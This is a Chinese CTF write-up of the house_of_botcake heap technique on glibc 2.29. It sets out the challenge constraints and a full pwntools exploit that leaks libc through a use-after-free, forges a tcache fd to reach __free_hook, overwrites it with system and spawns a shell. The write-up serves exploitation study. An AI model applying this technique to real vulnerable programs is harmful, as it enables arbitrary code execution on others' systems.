2.29版本下的glibc利用

house_of_botcake

题目模型:
固定分配0x110 chunk
仅add时edit
uaf只能触发一次
show只能触发一次
0x30堆块只能申请一次

利用思路:
填满tcache
利用uaf和show泄露libc基址
利用0x30堆块造成堆块重叠
伪造chunk fd为free_hook地址
修改free_hook为system
getshell

#! /usr/bin/python3

from pwn import *
import ctypes,subprocess
context(arch='amd64',os='linux',log_level='debug',terminal = ['tmux', 'sp', '-h'])
file_path='./garden'
glibc_version="2.29"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
    pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
    p = process(pwn_file.split())#,env={"LD_PRELOAD":"./libc.so.6"}
    libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
    #libc=elf.libc#p.libc
else:
    p = remote('',)
    libc = ELF('./libc-%s.so'%glibc_version)
#common pack
su  = lambda desp,value:success(desp+' => '+hex(value))
ru  = lambda delim            :p.recvuntil(delim)
rv  = lambda count=1024,timeout=0:p.recv(count,timeout)
sl  = lambda data             :p.sendline(data)
sla = lambda delim,data       :p.sendlineafter(delim, data)
ss  = lambda data             :p.send(data)
ssa = lambda delim,data       :(ru(delim),ss(data))
#gadgets
one_gadget = lambda filename:list(map(int, subprocess.check_output(['one_gadget', '-l2', '--raw', filename]).split(b' ')))
one_gadget = one_gadget(libc.path)
for ogg in one_gadget: su("one_gadget[%d]"%one_gadget.index(ogg),ogg)
#debug
def vmmap():
    if _debug_==0: return
    for i in list(map(lambda s:b' '.join(s.split()),subprocess.check_output(['cat', '/proc/%d/maps'%p.pid]).split(b'\n'))): print(i)
def debug():
    if _debug_==0: return
    vmmap()
    print(p.libs())
    proc_base = p.libs()[elf.path]
    libc_base = p.libs()[libc.path]
    su('pid(debug)%d'%p.pid,p.pid)
    su('proc(debug)',proc_base)
    su('libc(debug)',libc_base)
    gdbscript='''
        directory /glibc/%s/glibc-%s/malloc/
        '''%(glibc_version,glibc_version)
    gdb.attach(p,gdbscript)
    pause()

#special pack
def add(idx,content):
    sla(">>",'1')
    sla("index?",str(idx)) #size=0x100
    ssa("name?",content)
def delete(idx):
    sla(">>",'2')
    sla("index?",str(idx))
def delete2(idx): #uaf #once
    sla(">>",'5')
    sla("steal?",str(idx))
def show(idx): #leak once
    sla(">>",'3')
    sla("index?",str(idx))
def add2(): #fastbin once
    sla(">>",'6')
#debug 
debug()

for i in range(9):
    add(i,chr(ord('a')+i)*0x100)

#填充tcache
for i in range(7):
    delete(8-i)
#chunk 1 造成uaf
delete2(1)
show(1)
libc.address=u64(ru(b'\x7f')[-6:].ljust(8,b'\0'))-0x3b3ca0
su("libc",libc.address)
#unsorted bin 合并,此时chunk1指针指向该chunk内部
delete(0)
#unsorted bin 切割 构造错位
add2()
#取出tcache
for i in range(7):
    add(8-i,'a')
#unsorted bin 再次切割,此时chunk1指针指向chunk0内部
add(0,'a')
#double free chunk1(unsortedbin)
delete(1)
#需要通过重分配chunk0来编辑chunk0(内部chunk1的指针)
delete(0)
#此时指针在tcache内堆叠
#填充tcache,构造unsortedbin合并
for i in range(2,9):
    delete(i)
for i in range(3,8):
    add(i,'b')
free_hook = libc.sym['__free_hook']
malloc_hook = libc.sym['__malloc_hook']
one = libc.address + one_gadget[1]
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(free_hook))
add(1,'/bin/sh\0')
add(2,p64(libc.sym["system"]))
delete(1)
p.interactive()